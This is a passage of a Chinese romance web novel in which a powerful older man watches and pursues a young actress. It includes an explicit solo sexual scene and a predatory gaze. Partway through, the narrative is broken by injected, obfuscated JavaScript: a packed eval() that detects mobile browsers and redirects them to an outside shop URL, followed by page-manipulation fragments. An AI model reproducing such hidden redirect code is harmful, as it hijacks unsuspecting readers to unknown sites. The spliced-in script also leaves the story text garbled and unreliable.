说到这儿,岑映霜忽然想起什么,又十分兴奋地问道:“可以帮我再摘一颗苹果吗?” 贺驭洲欣然答应:“当然可以。” “看中哪一颗?”他问。 岑映霜昂起头,搜寻了一番,最终指了视野之中最大的那一颗。 贺驭洲抬起手臂,甚至手臂都不用完全打直,便轻轻松松摘下,递给她。 她拿在手中对比,这一颗比刚才那颗还要大一圈。 她很容易满足,多得到一颗苹果就能喜上眉梢。 贺驭洲瞳孔骤缩,眸色霎时变深,徒增几分犀利的审视和揣测,却在下一秒稍纵即逝般掠过,他若无其事地轻哼出一声笑,语气散漫,故意打趣:“想得到双倍超凡力量?” 他挑起眉,煞有介事地点头:“嗯....看来世界和平有望了。” 岑映霜又破了功,“本来不觉得冷的,现在开始冷了!” 他的笑话实在太冷了。 “快忘掉这个梗吧。”岑映霜捏着两颗苹果对上自己的眼睛。 这时,岑映霜忽然感觉到大衣衣兜里传来了一阵震动。 是他的手机。 岑映霜立即说:“你的手机在响。” 她下意识就想从衣兜里摸出她的手机递给他,无奈两只手都被苹果霸占了。 就在她想腾出一只手出来时,面前一道阴影罩了下来。 扑面而来的是一股男性气息。 不沾任何香水味。清爽而清冷。 她抬眼,看见了原本与她保持着一米距离的贺驭洲此时此刻只和她相离十几公分。 他微俯身,手探进衣兜,去拿他的手机。 距离太近,他有序而温热的呼吸接踵拂过她的面颊,像羽毛轻扫,惹来一阵痒意,她并不反感他的靠近,只是下意识吞了吞唾沫,稍昂起头躲开痒意来源。 他终于拿出了手机,只看了一秒便挂断,没有接听。手指在屏幕上快速敲着字。 她有168的净身高,在女性中已经算高挑的个子了,然而在他面前,竟连他肩膀都还不到,她穿他的大衣,都快触地了,显得她就像一只鹌鹑似的,小得可怜。 他真的太高,如同一座沉重的大山那般高大挺拔。无端弥漫一股压迫感。 所以岑映霜本能地想要往后退几步,拉开彼此距离。 她刚抬脚还来不及迈步,贺驭洲就率先抓住了她的手臂,阻止她的行为。 他没抬头,目光还是落在手机屏幕上,单手打着字。 岑映霜愣了下。 他即便没看她,似乎也明了她的不解,只抬抬下巴指了指她身后,示意她往后看。 岑映霜不明所以地回头看了看,发现自己身后有一个大石桩。 原来如此。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16035794|178642||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 如果不是他,她刚才就被石桩绊倒了。 可贺驭洲来到现在这个位置,他好像没打算再退开。 两人之间的距离只有一拳。 他的脸就近在咫尺,她能看清他的皮肤肌理,五官过分立体,棱角分明,真真是女娲最满意的艺术品,实在令人叹为观止。 又无意识地吞了吞唾沫。 他发完消息摁灭屏幕,岑映霜这才好奇地问出口:“你有多高呀?” “194.”贺驭洲答。 “.......” 虽猜到答案肯定不会简单,但得知确切数字之后还是足够惊到她,嘴角都抽了抽:“怎么长这么高的!” 这么近的距离,视觉上更清晰。她的头顶毛茸茸,发丝茂盛,连发缝都不明显,吃力昂头看他的样子属实呆萌。 “遗传。”他轻轻勾唇。 手机又不合时宜地亮起,再感知到震动时,瞳孔中不易察觉地闪过一丝烦躁和不耐。 看来他的工作真的很忙,她不好打扰,也意识到自己出来太久了。 她明天还得早起,于是主动告别:“我得走了,时间不早了。” “嗯。”贺驭洲这才漫不经心退后几步让开路,“好好休息。” 岑映霜回了句“你也是”。 她握着手中的苹果,挥手同他告别,走了几步又猛地转过身,贺驭洲还站在原地。 想起。 “你的大衣。” “穿着吧。”贺驭洲说,“下次再给我。” “下次?”岑映霜困惑。 他们难道还会见面吗? 贺驭洲刚好停留在光线昏暗处,轮廓隐在靡靡夜色中,神秘又渺茫。 黑暗掩饰他的面容,眼中压抑许久的掠夺席卷之意终于逃出牢笼。 她看不清任何神情,只能听见他的声音。 “下次见。”他的语速缓慢,咬字格外清晰。 说完,他转身迈步离开。终于接起了喋喋不休的电话。很快走过了拐角。 岑映霜还在想他说的“下次见”,愣了会儿终于醒过神来,还是觉得穿走他的衣服很不合适,连忙追了上去。 然而追到拐角处时,却已然不见贺驭洲的身影。 其实贺驭洲就在距离岑映霜十米开外的位置。他立在紫杉之后,耳边还贴着手机正在接电话,另只手的指间夹着一支刚点燃的烟。 吸上一口,燃烧大半。薄唇微启,眯着眼睛吐出浓浓烟雾。 他的目光定定凝视前方。 看见岑映霜四处张望,似乎在搜寻着什么。寻了一圈便作罢,转过身拿着两颗红苹果离开了。 步伐是那般欢快,愉悦心情昭然若揭。 她不会知道,黑暗中的一双眼睛肆无忌惮地咬住她。在无形之中,入侵的危险气息已然围裹她的周身,蓄势待发,就等着攻破最后城池。 岑映霜回到房间。 棒棒糖已吃完,岑映霜将被自己咬得伤痕累累的棍儿扔进垃圾桶。 她脱下身上的大衣外套。 她想,他们肯定是不会再见面了。 可能是他有洁癖,别人穿过的衣服就不想要了,所以出于礼貌才给出“下次见”的说辞。 毕竟“下次见”也属于客套性标准用语了。 贺驭洲怎么可能是随随便便就能见到的人。 但她还是将大衣工工整整地叠起来放进了自己的行李箱。 总不能就这么扔在这儿吧。 一个插曲让泡澡强行结束,水早就凉了。她也没打算再泡,又重新刷了个牙,护了肤。 这才躺上床。 打开手机,看到了江遂安二十分钟前发来的两条消息。 【在干嘛呢?】 【擦药了没?】 江遂安上次说会每天提醒她擦药,没有一天落下过。 她成功想起今天的任务还没完成,连忙摸出药膏涂匀在膝盖上。 这才回复道:【擦啦。】 江遂安这次是秒回的,一个亲昵摸摸头的表情包。 岑映霜兴致勃勃地将两颗红苹果摆在床上,拍了一张照片发过去:【你猜这是什么苹果。】 江遂安:【红富士?不对,花牛?】 岑映霜意识到自己也不知道这苹果是什么种类,当时忘记问问贺驭洲了。 岑映霜:【好吧,我也不知道[嘿哈]】 江遂安发过来一个“敲打”表情。 岑映霜又回:【你都不听我说完!还有但是!】 紧接着,“敲打”表情被撤回。 岑映霜笑出声:【但是!它们的妈妈两百岁了!】 江遂安:【???】 又来一句:【你骗我。】 岑映霜:【真的!你不相信我啊?!】 她将苹果放在手心上,又拍了一张照片发过去:【你现在看到不一样了吗?我手心都放不下!】 江遂安发来一个“竖大拇指”的表情:【真牛,长见识了!】 岑映霜喜滋滋:【我们刚好一人一颗。】 岑映霜趴在床上与江遂安聊得正欢时,贺驭洲已经抽完一支烟也m回到了自己的房间。 他的房间在四楼,岑映霜在三楼,他们的房间是对应的。 洗完澡躺上床。 房间里没有开灯,床的对面有一个超大荧屏,放着的是岑映霜的香水广告。 他拿起床头上的一瓶香水,对着半空喷了一下。 如雾一样的水柱慢慢坠落,拂上他面颊时已然融成了空气,只剩下香味扑鼻。 深深吸一口气。 闻到了咸湿的海风,湿润得仿若下过雨的清新,水蒸气在空气中雾化。 像融入了海洋之中。 他半阖着眼,看着荧屏中的广告。 已经不知道看了多少遍。 看多少遍都不会倦。 看多少遍,都有一样的反应。 他平躺在床上,荧屏的光朦胧闪烁,某个地方仍旧突兀显眼。 这一幕有些熟悉。 上次做完那个梦之后,他也是这般躺在床上,面对自己的生理反应感觉到烦躁和困扰。 这一次也是如此,可唯一不同的是,他没有再熟视无睹等其自然冷静。 最后频率加快时,粗壮胳膊上的肌肉更鼓,隆起的手背上的青筋盘虬交错,血管都快要爆炸。牙关都快咬碎。 无论曾经的自己有多清心寡欲,如今才认清,他到底也是个庸俗之辈。 为之失控,为之饥渴难耐。 脑子里都是岑映霜今晚说的那句还没有谈过恋爱。 还。 中华文化博大精深,他都已经对她玩过文字游戏,自然知道这个字有着什么样的蕴意。 包括她今晚要求摘下的第二颗苹果到底想要给谁。 是陈言礼还是另有其人。 不过于他而言。 是谁都无所谓。 因为,棋局已开。 10.摘 第二天岑映霜起了个大早,做妆造。 这次仍旧穿的是品牌高定,淡粉色的小香风套装。 上衣有些短,露出大半截儿纤细腰肢,A字裙也短,就在大腿往下两公分。低腰的设计,连肚脐都露在外。腰上叠戴着几串珍珠链。 脚上一双白色绸缎防水台高跟鞋,美腿如玉柱,修长而匀称。头发吹直,柔顺地散在肩头,用了自己代言的珠宝、香水以及手袋。 一身搭配甜美而又不失性感。将她的身材完全呈现。 已经接近十月底,意大利的气温也降了下来,她做好妆造还在外披了一件长大衣,以免着凉。 一只脚都踏上保姆车了,结果又突然想起什么,连忙跳下车,转身就往花园跑。 “你干什么去!来不及了!”曼姐看着岑映霜哪怕穿着高跟鞋还健步如飞的背影,喊道。 “马上马上,一分钟!”岑映霜也喊了一声。 她跑得飞快,终于跑到了苹果树的位置,快速地换了几个角度拍了几张照片。 昨晚跟江遂安聊到两百年的苹果树,江遂安还不相信,正巧她又忘记拍照。 拍完照片又急忙跑回保姆车。 刚才跑了一路,出了点汗,化妆师连忙给她处理,以免脱妆。 岑映霜坐在座椅上,拿出手机将刚才拍的照片发给了江遂安。 江遂安最近没进组,综艺倒是多,这两天在杭州录综艺,估计没时间看手机。 车子开了半个多小时终于抵达秀场。 秀场是在一座洛可可式宫殿里,金碧辉煌,雕栏玉砌。 一场大秀时间其实也就20-30分钟,只不过在开始之前还有红毯和采访环节。 今日众星云集,红毯处全是媒体和围堵的粉丝。 保姆车停在红毯入口,岑映霜脱掉了身上的大衣缓缓下车。 前有在戛纳出圈,后有香水一夜之间售罄之事, 她一出现所有镜头瞬间切到了她的身上,她立刻扬起微笑,缓步迈上红毯。围在外侧的粉丝疯狂呼喊岑映霜的名字。她轻轻挥手回应。 走完了红毯,有记者上前采访,问了一些常规问题,她也还算游刃有余地应付了,最后应记者媒体的请求又摆了几个pose拍了些照片,这才在工作人员的带领下进入了宫殿秀场。 秀场是在宫殿后花园,里面有一个巨大的人工湖,座位就在湖边和花团锦簇的走廊。不似以往座位拥挤在一起,而是一桌只有三个座位。像极了上流社会的悠闲下午茶。 秀场里已经有了许多人,世界各地的明星都有,可她没有一个熟人,一进来就默默地找自己的座位。 今天即便有微弱的太阳,可到底气温低,坐在室外难免凉,偶尔还有小风吹过。不过秀也就半个小时,忍忍就过去了。 正当这么想着时,一名穿正装的男工作人员走到她面前,说的是英文:“岑小姐,您的座位在这边,请随我来。” “好的。”岑映霜没多想,跟了上去。 谁知这一路穿过了人工湖和长长的走廊,并且上了二楼。她不知道这二楼上还有座位。 其中一个房间门口站着好几名高大魁梧的黑衣保镖。 岑映霜有些迟疑地停了停脚步。 正要询问时,工作人员推开了房间门,抬手做出邀请状,“里面请。” 她在原地站了两秒,最后还是迈步慢慢走进去,这个房间很大,有一整面的透明玻璃,能看清楼下所有光景,是看秀的最佳视角。 而在下一秒,她即刻顿住了脚步,目光定定地看着站在透明玻璃前的一个男人。 他穿黑色皮夹克,黑色长裤。身姿挺拔,长身玉立。背对着,手机举在耳边正在打电话,“乖乖哋,快啲返囉。”(听话,快回去吧) 即便岑映霜已经放轻脚步,高跟鞋踩地上时仍有不可避免的声音。 闻声,他微微回了下头。 从看见他的背影,岑映霜就有了一点预感,他回过头时看见了他的脸这才得以确定,还真是贺驭洲。 岑映霜一时惊讶,但也没忘他正在打电话,没有出声打扰,只扬起灿烂的微笑朝他热情地招招手。 贺驭洲也勾唇回应,抬抬下巴一指前面的沙发,示意她坐。 “我仲有嘢做,遲啲先傾。(我还有事,晚点再聊)”他快速说完一句便挂了电话。 “贺.....” 岑映霜下意识就想开口叫他,可竟然不知道该叫什么,直呼他大名不太合适,所以卡壳了一下,慢吞吞补了两个字:“先生。” 她的态度仍是自来熟的,一上来就开始熟练地表达夸奖,“你说粤语好好听啊,像是在看香港电影一样。” 虽然她听不懂。 贺驭洲说粤语时声线要更慵懒浑厚一些,一口地道的港式粤语腔调,懒音十分好听。配上他今天的穿搭,更显得痞酷和散漫。与昨晚的斯文温润完全不同。 看来他的话也算是听进去了,的确挺畅所欲言。 面对她的夸奖,他只笑了笑。 不过开口说的却是,“我们好歹也算见过几次面,你是不是可以换个称呼了?” 贺驭洲将手机收进裤兜,走了过来,坐上岑映霜对面的沙发。 岑映霜也慢慢坐了下来,她的裙子短,即便里面穿了防走光的打底裤,她仍然谨慎又拘束地将腿并拢侧在一旁,顺着他的话好奇地问:“那我该叫什么?” “我的名字。”贺驭洲言简意赅。 “直接叫名字好像....不太礼貌呀。”岑映霜迟疑地眨眨眼。他比她大十岁,直呼大名感觉没大没小的。 “你昨晚不是叫过?”贺驭洲笑着反问。 “......”岑映霜先是愣了下,一头雾水地想要反驳说自己哪有,然而在下一瞬又及时想起来他所说的“昨晚”。 大概就是昨晚在花园里第一次见到他,她说出的那一句“你是贺驭洲!” “那又不一样,那是因为当时太惊讶了,就脱口而出了嘛。” 她鼓起腮帮,颇有些理直气壮。 “所以现在见到我不惊讶了。”贺驭洲意有所指挑了下眉,哪怕是坐着,看她时仍旧需要稍稍垂眼,说的明明是普通话,却还带着说粤语时的懒洋洋,似是打趣:“反倒变生分了。” “不是!”岑映霜又是本能地反驳。 也如昨晚那样,反驳了之后久久说不出下一句。 他也如昨晚那样,又是问:“没了?” 岑映霜顿时哑口无言。 她嗫嗫嚅嚅了半天,实在不知道该怎么接了,最终只能尴尬地摸摸脖子转移话题:“你怎么在这里?你也来看秀呀?” 她怎么看贺驭洲都不太像要看时装秀的人。倒没有拉踩这个时装秀的意思,只是觉得不太符合他的身份。 贺驭洲窝进沙发椅背,肩颈松松垮垮地靠着,仍是微耷着眼,目光饶有兴致地瞧她。 面对她,他的目光总不能太平静,也无法做到心无旁骛。 她皮肤白得像雪,没有一点瑕疵,肚脐露在外,腰上几串珍珠链贴着皮肤,随着呼吸起伏。她好瘦,也裸露在外的那一截儿腰肢细得好似他一只手就能握住。 思及此,他的手指竟然情不自禁地动了一下,在脑海中模拟。 视线下滑,看到了她的腿,纤细而笔直。 即便她双腿紧闭侧坐着,可她的腿很细,中间还是有空隙,裙底的那一片光景也若隐若现。 贺驭洲的喉咙又出现了熟悉的紧迫痒意,他将目光略有些慌张地挪开两寸,喉结滚动两下。不动声色吸一口气。 早就清楚她对他有多大的诱惑力,在这样的情况下,于他而言只能称得上一种折磨。 贺驭洲在下一秒利落起身,朝岑映霜走去,好整以暇回答她的问题:“这不是找你拿大衣来了?” 岑映霜看见他距离她越来越近,她又需要昂起头才能看见他,那股熟悉的被大山震慑的压迫感再一次油然而生,下意识往后靠了靠。 她仰视的时候,眼睛睁得更圆更大,像一串黑溜溜的葡萄,看上去又呆又纯。 她以为他们不会再见,谁知他的“下次”这么快便应验。 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“她在香港。”贺驭洲说,“所以让我替她来。” 岑映霜点点头,一脸“原来如此”的表情。 “楼下风大当心着凉,才让人带你来这里,介意吗?”贺驭洲流连忘返地收了收看她的目光,转身走回对面的沙发,态度温和有礼地询问道。 岑映霜立即笑着摇头,她当然不介意了,这里视野佳,安静又暖和。认识个大佬就是好,还能有专属包厢沉浸式看秀,再好不过了。 侧坐久了腿有点麻,她挪了挪屁股,动了动腿试图缓解一些麻意,坐得舒服了点,拘谨感也少了,她的姿态也松散了下来,笑呵呵地与他闲聊:“我发现你普通话说得好好,一点港普口音都没有诶。” “因为我父母都是北城人。”贺驭洲笑道。 “真的吗!那太巧了!”这是岑映霜没想到的。 不过一提香港,岑映霜就歪着头流露出陷入回忆的神情,“我之前去过一次香港,是参加品牌活动。” “怎么样?”贺驭洲问,“喜欢香港吗?” “当然喜欢啊!”岑映霜点头如捣蒜,毫不犹豫地回答,“香港给人的感觉很不一样!对了…..我很喜欢的一部电影里,男主角站在太平山顶上大喊——” 她一讲起来格外兴致勃勃,甚至学着电影人物里的动作,高举双臂大喊电影台词:“I’m the king of Hong Kong!” 一时入戏太深,喊完才想起自己在秀场,这里是公众场所,生怕楼下的人听到,亡羊补牢地捂住了自己的嘴巴。惊恐地望着楼下看别人的反应,然而发现楼下的人并没有抬头往上看。 意识到这应该是单向玻璃。 “这里隔音很好,放心喊。”她实在是个太鲜活的人,生命力旺盛,像小太阳一样能够感染周遭的一切,他也如同沐浴在她的阳光之下,心情是前所未有的明朗,连眼尾都渗透出浓浓笑意, 笑得肩膀直颤,“除了我,没人能听见。” 岑映霜果然长松了口气,刚才紧张得僵硬的肩膀一下子松懈下来,这才接着说:“后来那次我也去了太平山顶,结果那里全都是人,实在是不好意思喊出来,连拍照都找不到位置,全是人头。”就算她再e也e不到那份儿上。 “很遗憾?”贺驭洲问。 她吐了吐气,“说来是蛮遗憾的。” 他的姿态还是闲适松弛,双臂搭在膝盖上,上半身朝下俯了俯。 两人之间仍隔着一段距离,可他这样俯身的动作,视觉上似乎在向她逼近,眼尾呷柔和笑意,眼神却深沉得出奇,瞄准猎物的锋芒若隐若现,连这空气都弥漫几分进攻性。 “我知道哪里没人。” 贺驭洲很合时宜地抛出耐人寻味的诱饵,“我带你去香港,去吗?” 岑映霜一怔,“可我没有去香港的行程。” “只要回答。” 贺驭洲耐心引导,循循善诱,“想,还是,不想。”